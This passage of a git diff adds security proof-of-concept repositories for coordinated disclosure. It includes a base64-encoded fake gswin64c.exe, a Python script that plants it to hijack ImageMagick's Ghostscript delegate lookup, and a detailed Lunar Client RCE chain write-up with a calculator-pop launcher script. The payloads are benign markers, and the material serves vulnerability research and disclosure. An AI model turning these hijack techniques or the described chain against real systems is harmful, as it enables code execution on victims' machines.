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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== \ No newline at end of file diff --git a/imagemagick-gs-delegate-hijack-poc/poc.py b/imagemagick-gs-delegate-hijack-poc/poc.py new file mode 100644 index 0000000..489c4e9 --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/poc.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import hashlib +import json +import os +import platform +import shutil +import subprocess +import sys +import tempfile +from pathlib import Path + + +def sha256(path): + h = hashlib.sha256() + with open(path, "rb") as f: + for chunk in iter(lambda: f.read(1024 * 1024), b""): + h.update(chunk) + return h.hexdigest().upper() + + +def build_pdf(): + objects = [ + b"<< /Type /Catalog /Pages 2 0 R >>", + b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", + b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>", + b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream", + ] + out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n") + offsets = [0] + for index, body in enumerate(objects, start=1): + offsets.append(len(out)) + out.extend(f"{index} 0 obj\n".encode("ascii")) + out.extend(body) + out.extend(b"\nendobj\n") + xref = len(out) + out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) + out.extend(b"0000000000 65535 f \n") + for offset in offsets[1:]: + out.extend(f"{offset:010d} 00000 n \n".encode("ascii")) + out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii")) + return bytes(out) + + +def run(cmd, cwd, env): + return subprocess.run( + cmd, + cwd=str(cwd), + env=env, + text=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + shell=False, + ) + + +def find_exe(name, explicit): + if explicit: + path = Path(explicit).expanduser().resolve() + if not path.exists(): + raise SystemExit(f"{name} was not found: {path}") + return path + found = shutil.which(name) + if not found: + raise SystemExit(f"{name} was not found in PATH; pass its path explicitly") + return Path(found).resolve() + + +def write_text(path, text): + path.write_text(text, encoding="utf-8", errors="replace") + + +def load_helper_payload(): + payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64" + if not payload.exists(): + raise SystemExit(f"helper payload missing: {payload}") + return base64.b64decode("".join(payload.read_text(encoding="ascii").split())) + + +def main(): + parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC") + parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.") + parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.") + parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.") + parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.") + args = parser.parse_args() + + if platform.system() != "Windows": + raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.") + + magick = find_exe("magick.exe", args.magick) + if args.gs_bin: + gs_bin = Path(args.gs_bin).expanduser().resolve() + gs_exe = gs_bin / "gswin64c.exe" + if not gs_exe.exists(): + raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}") + else: + gs_exe = find_exe("gswin64c.exe", None) + gs_bin = gs_exe.parent + + if args.workdir: + root = Path(args.workdir).expanduser().resolve() + root.mkdir(parents=True, exist_ok=True) + else: + root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve() + + control = root / "control" + hijack = root / "hijack" + fallback = root / "ghostscript-path-without-dll" + for directory in (control, hijack, fallback): + directory.mkdir(parents=True, exist_ok=True) + + for directory in (control, hijack): + (directory / "benign.pdf").write_bytes(build_pdf()) + + helper = hijack / "gswin64c.exe" + helper.write_bytes(load_helper_payload()) + marker = hijack / "marker.txt" + + env = os.environ.copy() + env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "") + env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback) + env["IM_GS_MARKER"] = str(marker) + if args.magick_configure_path: + env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve()) + + magick_version = run([str(magick), "-version"], root, env) + gs_version = run([str(gs_exe), "--version"], root, env) + control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env) + hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env) + + write_text(control / "stdout.txt", control_result.stdout) + write_text(control / "stderr.txt", control_result.stderr) + write_text(hijack / "stdout.txt", hijack_result.stdout) + write_text(hijack / "stderr.txt", hijack_result.stderr) + + marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else "" + result = { + "workdir": str(root), + "magick": { + "path": str(magick), + "sha256": sha256(magick), + "version": magick_version.stdout.strip(), + }, + "ghostscript": { + "path": str(gs_exe), + "sha256": sha256(gs_exe), + "version": gs_version.stdout.strip(), + }, + "helper": { + "path": str(helper), + "sha256": sha256(helper), + }, + "control": { + "exit_code": control_result.returncode, + "output_png": str(control / "control.png"), + "output_exists": (control / "control.png").exists(), + }, + "hijack": { + "exit_code": hijack_result.returncode, + "marker": str(marker), + "marker_exists": marker.exists(), + "marker_text": marker_text, + }, + } + + result_path = root / "result.json" + result_path.write_text(json.dumps(result, indent=2), encoding="utf-8") + + print(json.dumps(result, indent=2)) + if not result["control"]["output_exists"]: + raise SystemExit("Control conversion did not produce output; check control/stderr.txt") + if not result["hijack"]["marker_exists"]: + raise SystemExit("Hijack marker was not written; check hijack/stderr.txt") + if "fake gswin64c executed" not in marker_text: + raise SystemExit("Hijack marker did not contain the expected helper output") + print(f"\nPoC verified. Evidence directory: {root}") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/lunar-modrinth-chain-poc/.gitignore b/lunar-modrinth-chain-poc/.gitignore new file mode 100644 index 0000000..c522de8 --- /dev/null +++ b/lunar-modrinth-chain-poc/.gitignore @@ -0,0 +1,3 @@ +poc/poc-output/ +*.log +*.tmp diff --git a/lunar-modrinth-chain-poc/README.md b/lunar-modrinth-chain-poc/README.md new file mode 100644 index 0000000..26e1432 --- /dev/null +++ b/lunar-modrinth-chain-poc/README.md @@ -0,0 +1,172 @@ +# Lunar Client Modrinth Explore Chain PoC + +Proof package for a high-severity Lunar Client chain observed in the June 2026 +unpacked Electron application. + +This repository documents a practical RCE-style chain and includes a benign +cross-platform calc-pop proof for the final "drop local launcher and open it via +the OS shell" primitive. + +## Status + +High-confidence critical candidate, not yet a fully packaged public +Modrinth-to-Lunar end-to-end exploit. + +The chain is severe because it joins several individually dangerous behaviors: + +- Modrinth project content is rendered in Lunar Explore as raw HTML. +- The Explore renderer has access to privileged Lunar preload APIs. +- The renderer can reach raw IPC/Redux state synchronization into main. +- Main accepts forged profile state and materializes provider profiles. +- Modrinth override extraction can write root-level override files into a + profile-controlled game directory. +- The unverified modpack warning path only scans `mods`, `resourcepacks`, and + `shaderpacks`, not root overrides. +- `openExternalLink` can reach `shell.openExternal` for non-HTTP URLs when the + initiator is not one of the two restricted user-input initiators. +- Opening shell-dispatched local launcher files can execute code. On Windows, + the reviewed chain uses `.lnk`; the included proof also has macOS/Linux + branches for environments where Windows is unavailable. + +If the live Modrinth delivery leg is confirmed end-to-end through Lunar's +production cache, the likely impact is arbitrary code execution as the victim's +desktop user after the victim views or clicks a malicious Modrinth project in +Lunar Explore. This path does not require launching Minecraft, having a JRE +ready, or having a selected Minecraft account. + +## Impact + +Estimated severity: critical. + +Tentative CVSS v3.1: `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` = 9.6. + +This score assumes the attacker can publish or otherwise get attacker-controlled +Modrinth project/changelog content rendered by Lunar Explore, and that the raw +HTML delivery path executes script-capable content in the packaged renderer. + +## Chain Summary + +1. Attacker-controlled Modrinth Markdown is fetched by Lunar Explore. +2. Lunar renders that Markdown through `ReactMarkdown` with `rehypeRaw`, without + an observed sanitizer or HTML allowlist. +3. A raw HTML payload can execute renderer JavaScript through an iframe-style + delivery primitive. +4. Renderer JavaScript can use exposed preload APIs and raw IPC/Redux sync. +5. The renderer forges or creates a Modrinth provider profile whose + `overrides.gameDirectory` points at a writable attacker-chosen directory. +6. The renderer asks main to install the forged Modrinth profile. +7. Main downloads the `.mrpack`, saves the profile, and extracts root-level + `overrides/*` entries to `getEffectiveGameDirectory(profile)`. +8. A root override such as a benign launcher file is written to the chosen + directory and is not covered by the unverified-file warning scanner. +9. The renderer calls the external-link API on a `file:///.../` URL + using a non-restricted initiator. +10. Main reaches `shell.openExternal(url)`. The operating system dispatches the + local launcher. + +## Evidence From Local Review + +The following paths refer to extracted source-map sources from the reviewed +Lunar Client build. + +- Raw HTML Markdown sink: + `src/renderer/impl/app/pages/explore/project/components/markdown.tsx` + imports `ReactMarkdown`, uses `rehypeRaw`, and does not apply a sanitizer. +- Modrinth content flow: + `src/renderer/impl/app/pages/explore/project/utils/fetch.ts` maps project + `body` and version `changelog` into renderer state. +- Main install handler: + `src/electron/module/modrinth/index.ts` exposes `installModpack`. +- Profile source of truth: + `src/electron/module/modrinth/install/modpack/index.ts` reads the target + profile from `launcherRedux.store.getState().profiles.profiles`. +- Profile reducer: + `src/shared/store/profiles/index.ts` accepts `profiles/addOrUpdateProfile` + and inserts or replaces the supplied profile object. +- Profile persistence: + `src/electron/module/profiles/index.ts` preserves `profile.overrides` when + saving a virtual profile. +- Effective game directory: + `src/electron/module/profiles/paths.ts` returns + `profile.overrides.gameDirectory` when present. +- Override extraction: + `src/electron/module/profiles/handlers/extract-overrides/utils.ts` maps + non-content-dir `overrides/*` entries to the effective game directory. +- Warning coverage: + `src/electron/module/profiles/handlers/unverified-modpack-files/consts.ts` + scans only `overrides/mods/`, `overrides/resourcepacks/`, and + `overrides/shaderpacks/`. +- External open sink: + `src/electron/window/preload/impl/misc.ts` blocks non-HTTP protocols only for + selected initiators, then calls `shell.openExternal(url)`. +- Redux bridge: + `src/electron/redux/index.ts` enables `stateSyncEnhancer()` with no observed + application-level action allowlist. + +## Calc-Pop PoC + +Run this only on a local test machine. It does not interact with Lunar Client or +any live Modrinth project. It validates the final execution primitive by: + +1. writing a marker file, +2. creating a local platform-appropriate launcher file, +3. asking the OS shell to open that launcher, and +4. popping the Calculator app where available. + +```bash +npm run poc +``` + +Expected output: + +```text +marker: calc-pop-attempted +opened: +``` + +Platform behavior: + +- Windows: creates and opens a `.lnk` pointing to `calc.exe`. +- macOS: creates and opens a `.command` launcher that runs Calculator. +- Linux: creates and opens a `.desktop` launcher for the first available + calculator binary from a small allowlist. + +In the original audit environment, the Windows shortcut primitive also wrote +`lnk-executed` to a marker file when the shortcut was opened. + +## What Is Intentionally Not Included + +This repository does not include: + +- A live malicious Modrinth project. +- A weaponized iframe or renderer payload. +- A `.mrpack` containing an executable launcher. +- A script that drives Lunar Client against real users. + +See `poc/renderer-chain-skeleton.md` for a non-executable outline of the +renderer-side chain. + +## Fix Guidance + +Recommended fixes should be layered: + +- Disable raw HTML in Modrinth Markdown, or sanitize with a strict allowlist. +- Forbid script-capable embedded content in Explore project descriptions and + changelogs. +- Remove generic renderer access to raw IPC `sendMessage`, or enforce a strict + channel allowlist in preload. +- Disable or constrain Electron Redux state sync from untrusted renderers. +- Validate profile objects at every IPC/main boundary. +- Do not accept arbitrary renderer-supplied `gameDirectory` paths without a + real user gesture and path policy. +- Treat every `overrides/*` archive entry as potentially dangerous, including + root-level files. +- Block `file:`, `ms-*`, and other non-web protocols in `openExternalLink` + unless there is a narrow, explicit allowlist. +- Refuse to open executable file types such as `.lnk`, `.exe`, `.bat`, `.cmd`, + `.ps1`, `.vbs`, and similar from renderer-controlled URLs. + +## Disclosure Note + +This is intended for authorized validation and coordinated disclosure. Keep the +repository private until the vendor has acknowledged and remediated the issue. diff --git a/lunar-modrinth-chain-poc/evidence/local-lnk-proof.md b/lunar-modrinth-chain-poc/evidence/local-lnk-proof.md new file mode 100644 index 0000000..3261de7 --- /dev/null +++ b/lunar-modrinth-chain-poc/evidence/local-lnk-proof.md @@ -0,0 +1,37 @@ +# Local Launcher Proof + +Observed during local validation: + +```text +Directory: work\lnk-proof + +marker.txt +payload.lnk +lnk-executed +``` + +Interpretation: + +- A local `.lnk` was created with a harmless marker target. +- Opening the shortcut caused Windows to execute the target. +- The marker file contained `lnk-executed`. + +This validates the final operating-system primitive used by the proposed Lunar +chain. It does not prove the complete Lunar end-to-end exploit by itself. + +The repository now includes `poc/calc-pop.js`, a Node.js proof that performs a +visible calculator pop using a local launcher file: + +- Windows: `.lnk` to `calc.exe` +- macOS: `.command` running `open -a Calculator` +- Linux: `.desktop` launcher for an installed calculator binary + +Observed output from the replacement PoC on Windows: + +```text +> lunar-modrinth-chain-poc@0.1.0 poc +> node poc/calc-pop.js + +marker: calc-pop-attempted +opened: ...\poc\poc-output\calc-pop.lnk +``` diff --git a/lunar-modrinth-chain-poc/package.json b/lunar-modrinth-chain-poc/package.json new file mode 100644 index 0000000..c167105 --- /dev/null +++ b/lunar-modrinth-chain-poc/package.json @@ -0,0 +1,10 @@ +{ + "name": "lunar-modrinth-chain-poc", + "version": "0.1.0", + "private": true, + "description": "Benign calc-pop proof for the Lunar Client Modrinth Explore chain.", + "scripts": { + "poc": "node poc/calc-pop.js" + }, + "license": "UNLICENSED" +} diff --git a/lunar-modrinth-chain-poc/poc/calc-pop.js b/lunar-modrinth-chain-poc/poc/calc-pop.js new file mode 100644 index 0000000..5f3929f --- /dev/null +++ b/lunar-modrinth-chain-poc/poc/calc-pop.js @@ -0,0 +1,122 @@ +#!/usr/bin/env node +"use strict"; + +const { existsSync, mkdirSync, writeFileSync, chmodSync } = require("node:fs"); +const { join } = require("node:path"); +const { spawn, spawnSync } = require("node:child_process"); + +const outDir = join(__dirname, "poc-output"); +mkdirSync(outDir, { recursive: true }); + +const markerPath = join(outDir, "marker.txt"); +writeFileSync(markerPath, "calc-pop-attempted\n", "utf8"); + +function detached(command, args, options = {}) { + const child = spawn(command, args, { + detached: true, + stdio: "ignore", + windowsHide: false, + ...options, + }); + child.unref(); +} + +function commandExists(command) { + if (process.platform === "win32") { + return spawnSync("where", [command], { stdio: "ignore" }).status === 0; + } + return spawnSync("sh", ["-lc", `command -v ${command}`], { + stdio: "ignore", + }).status === 0; +} + +function windowsShortcutProof() { + const shortcutPath = join(outDir, "calc-pop.lnk"); + const jscriptPath = join(outDir, "create-shortcut.js"); + const escapedShortcut = shortcutPath.replace(/\\/g, "\\\\"); + + writeFileSync( + jscriptPath, + [ + 'var shell = WScript.CreateObject("WScript.Shell");', + `var shortcut = shell.CreateShortcut("${escapedShortcut}");`, + 'shortcut.TargetPath = "calc.exe";', + 'shortcut.WindowStyle = 1;', + "shortcut.Save();", + "", + ].join("\r\n"), + "utf8" + ); + + const created = spawnSync("cscript.exe", ["//nologo", jscriptPath], { + stdio: "inherit", + windowsHide: true, + }); + if (created.status !== 0 || !existsSync(shortcutPath)) { + throw new Error("Failed to create Windows shortcut proof"); + } + + detached("cmd.exe", ["/c", "start", "", shortcutPath]); + return shortcutPath; +} + +function macLauncherProof() { + const launcherPath = join(outDir, "calc-pop.command"); + writeFileSync(launcherPath, "#!/bin/sh\nopen -a Calculator\n", "utf8"); + chmodSync(launcherPath, 0o755); + detached("open", [launcherPath]); + return launcherPath; +} + +function linuxLauncherProof() { + const calculators = [ + "gnome-calculator", + "kcalc", + "qalculate-gtk", + "mate-calc", + "galculator", + "xcalc", + ]; + const calculator = calculators.find(commandExists); + if (!calculator) { + throw new Error( + `No supported calculator found. Tried: ${calculators.join(", ")}` + ); + } + + const launcherPath = join(outDir, "calc-pop.desktop"); + writeFileSync( + launcherPath, + [ + "[Desktop Entry]", + "Type=Application", + "Name=Calc Pop Proof", + `Exec=${calculator}`, + "Terminal=false", + "", + ].join("\n"), + "utf8" + ); + chmodSync(launcherPath, 0o755); + + if (commandExists("xdg-open")) { + detached("xdg-open", [launcherPath]); + } else { + detached(calculator, []); + } + return launcherPath; +} + +let opened; +if (process.platform === "win32") { + opened = windowsShortcutProof(); +} else if (process.platform === "darwin") { + opened = macLauncherProof(); +} else if (process.platform === "linux") { + opened = linuxLauncherProof(); +} else { + throw new Error(`Unsupported platform: ${process.platform}`); +} + +console.log("marker: calc-pop-attempted"); +console.log(`opened: ${opened}`); diff --git a/lunar-modrinth-chain-poc/poc/renderer-chain-skeleton.md b/lunar-modrinth-chain-poc/poc/renderer-chain-skeleton.md new file mode 100644 index 0000000..4659e5b --- /dev/null +++ b/lunar-modrinth-chain-poc/poc/renderer-chain-skeleton.md @@ -0,0 +1,42 @@ +# Renderer Chain Skeleton + +This is a non-executable outline. It intentionally omits a working payload. + +## Preconditions To Validate In A Private Lab + +- A private Modrinth project or controlled API fixture can return raw HTML in + project `body` or version `changelog`. +- Lunar Explore renders that content in the packaged launcher. +- The injected frame can access the exposed `window.lunar` or + `window.electron` preload bridge from the rendered context. +- The main Redux bridge accepts a forged `profiles/addOrUpdateProfile` action. +- `installModpack` accepts the forged profile ID. +- Override extraction writes root `overrides/*` files to the controlled + effective game directory. +- `openExternalLink` reaches `shell.openExternal` for a local launcher file URL + with a non-restricted initiator. + +## Non-Executable Flow + +1. Build a virtual profile object with these properties: + - `id`: fresh local ID + - `type`: `modrinth` + - `provider`: `modrinth` + - `state`: `virtual` + - `useLunarFeatures`: compatible with target Modrinth version + - `modrinth.projectId`: controlled test project + - `modrinth.selectedVersion.versionId`: controlled test version + - `overrides.gameDirectory`: writable test directory +2. Send a profile-add action into the main Redux state-sync channel. +3. Invoke the Lunar Modrinth install API for that profile ID. +4. Confirm the controlled test `.mrpack` root override is written under the + chosen game directory. +5. Invoke the Lunar external-link API with a local `file:` URL to the benign + launcher file. +6. Confirm the calculator pop or marker file. + +## Expected Benign Result + +The validation succeeds only if a benign calculator pop or marker file is +observed. Do not test with an arbitrary command or payload outside a controlled +lab. diff --git a/mybb-limited-acp-to-admin/.gitignore b/mybb-limited-acp-to-admin/.gitignore new file mode 100644 index 0000000..30e8a2f --- /dev/null +++ b/mybb-limited-acp-to-admin/.gitignore @@ -0,0 +1,13 @@ +__pycache__/ +*.py[cod] +.pytest_cache/ +.venv/ +venv/ +*.sqlite +*.sqlite3 +*.db +*.log +lab/site/ +lab/data/ +downloads/ +vendor/ diff --git a/mybb-limited-acp-to-admin/LICENSE b/mybb-limited-acp-to-admin/LICENSE new file mode 100644 index 0000000..14fac91 --- /dev/null +++ b/mybb-limited-acp-to-admin/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 